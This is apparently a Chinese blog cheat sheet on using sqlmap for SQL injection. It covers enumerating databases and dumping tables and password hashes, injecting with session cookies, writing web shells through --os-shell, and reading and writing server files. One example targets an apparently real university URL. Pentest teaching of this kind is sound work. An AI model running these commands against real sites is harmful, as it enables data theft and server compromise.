SqlMap总结

SqlMap测试基本流程

sqlmap -u “url”
sqlmap -u URL –dbs
sqlmap -u URL -D database –tables
sqlmap -u URL -D database -T tablename –columns
sqlmap -u URL -D database -T tablename -C columnsname –dump

SqlMap常用命令

--is-dba 当前用户权限(是否为root权限,mssql下最高权限为sa)
-–batch 默认选项运行
--dbs 所有数据库
--current-db 网站当前数据库
--users 所有数据库用户
--current-user 当前数据库用户
--random-agent 构造随机user-agent
–dbms 指定后端数据库,给定后端数据库的类型可以减少减少无关的测试用例
--proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
--time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒
--threads=                       使用多少线程
–fresh-queries fresh-queries会忽略之前的查询结果,进行重新请求操作
–flush-session flush-session会清空当前URL相关的session
–level 设置检测的方方面面和测试用例
    - 默认是1,会尝试POST和GET
    - 2:Cookie也会加入检测
    - 3:User-Agent和Referer也会检测, 更大的值会增加用例量
-–technique 指定sqlmap使用的检测技术
    B:Boolean-based-blind (布尔型注入)
    U:Union query-based (联合注入)
    E:Error-based (报错型注入)
    S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
    T:Time-based blind (基于时间延迟注入)

MYSQL新特性secure_file_priv对读写文件的影响

secure-file-priv是在Mysql5.7版本后引入的新特性,secure-file-priv参数是用来限制导入导出传到哪个指定目录

  • 当配置文件内没有secure-file-priv参数,表示限制mysqld 不允许导入|导出
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下

解决方法:
windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =
之后需重启Mysql

SqlMap技巧

抓包注入

从bp抓包文件中检测

sqlmap.py -r "路径"

指定检测参数

  • -p 参数名
  • 参数后面加上*d

伪静态注入

./sqlmap.py -u “http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html"

需要登陆的注入

利用cookie参数注入,也可以使用抓包注入:

sqlmap.py -u "http://xxxxxx/sqli/?id=1& Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low"

交互式shell

写文件的两个前提:

  1. 获取网站的绝对路径
  2. 拥有足够的权限dba/root

首先判断当前是否为dba权限

开始写入shell

sqlmap.py -r "路径" --os-shell

选择shell脚本类型,接着输入路径,写入成功就进入一个交互式的shell命令行,还会返回一个上传文件的路径,也就是写入了2个shell,一个用来执行命令,另一个用来上传,其中上传shell的文件名为tmpugppx.php,出现admin admin这样的文字,这是sqlmap用来确认是否成功写进shell的标志

文件读写

读文件需要知道路径

sqlmap.py -u "http://xxxxxx/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --file-read=/opt/lampp/htdocs/php.ini

写文件

sqlmap.py -u "http://xxxxxx/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --file-write C:\1.txt --file-dest /opt/lampp/htdocs/vulnerabilities/exec/1.txt

表示将本地C:\\1.txt 写入到服务器端/opt/lampp/htdocs/vulnerabilities/exec/1.txt

辅助手工注入

两种方式,一种是每执行一次都会使用手工的语句注入一遍,效率比较低,第二种类似于平常命令行执行sql语句

sqlmap.py -r "路径" --sql-query "sql语句"
sqlmap.py -r "路径" --sql-shell

SqlMap检测参数

--current-user      检索当前用户
--current-db        检索当前数据库
-is-dba 当前用户权限(是否为root权限)
-dbs 所有数据库
--users             列出用户列表
--passwords         列出用户密码的hash值
--os-shell          提示为交互式操作系统shell
--os-pwn            提示为OOB外壳,Meterpreter或VNC
--batch             永远不要要求用户输入,使用默认行为
--sql-shell         提示输入交互式sqlmap shell
请求:
    这些选项可用于指定如何连接到目标URL
    --data=DATA         数据字符串通过POST发送
    --cookie=COOKIE     HTTP Cookie的值
    --random-agent      随机选择 HTTP User-Agent 头的值
    --proxy=PROXY       使用代理去连接目标URL
    --tor               使用匿名网络
    --check-tor         检查Tor是否正确使用

File system access(访问文件系统):
这些选项可以被用来访问后端数据库管理系统的底层文件系统。

    –file-read=RFILE 从后端的数据库管理系统文件系统读取文件
    –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
    –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

Optimization(优化):
这些选项可用于优化SqlMap的性能。
    -o 开启所有优化开关
    –predict-output 预测常见的查询输出
    –keep-alive 使用持久的HTTP(S)连接
    –null-connection 从没有实际的HTTP响应体中检索页面长度
    –threads=THREADS 最大的HTTP(S)请求并发量(默认为1)

Injection(注入):
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。
    -p TESTPARAMETER 可测试的参数(S)
    –dbms=DBMS 强制后端的DBMS为此值
    –os=OS 强制后端的DBMS操作系统为这个值
    –prefix=PREFIX 注入payload字符串前缀
    –suffix=SUFFIX 注入payload字符串后缀
    –tamper=TAMPER 使用给定的脚本(S)篡改注入数据

Detection(检测):
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。
    –level=LEVEL 执行测试的等级(1-5,默认为1)
    –risk=RISK 执行测试的风险(0-3,默认为1)
    –string=STRING 查询时有效时在页面匹配字符串
    –regexp=REGEXP 查询时有效时在页面匹配正则表达式
    –text-only 仅基于在文本内容比较网页

Techniques(技巧):
这些选项可用于调整具体的SQL注入测试。
    –technique=TECH SQL注入技术测试(默认BEUST)
    –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
    –union-cols=UCOLS 定列范围用于测试UNION查询注入
    –union-char=UCHAR 用于暴力猜解列数的字符

Fingerprint(指纹):
    -f, –fingerprint 执行检查广泛的DBMS版本指纹

Brute force(蛮力):
这些选项可以被用来运行蛮力检查。
    –common-tables 检查存在共同表
    –common-columns 检查存在共同列
posted @ 2021-08-15 19:41  AtSunset  阅读(183)  评论(0)    收藏  举报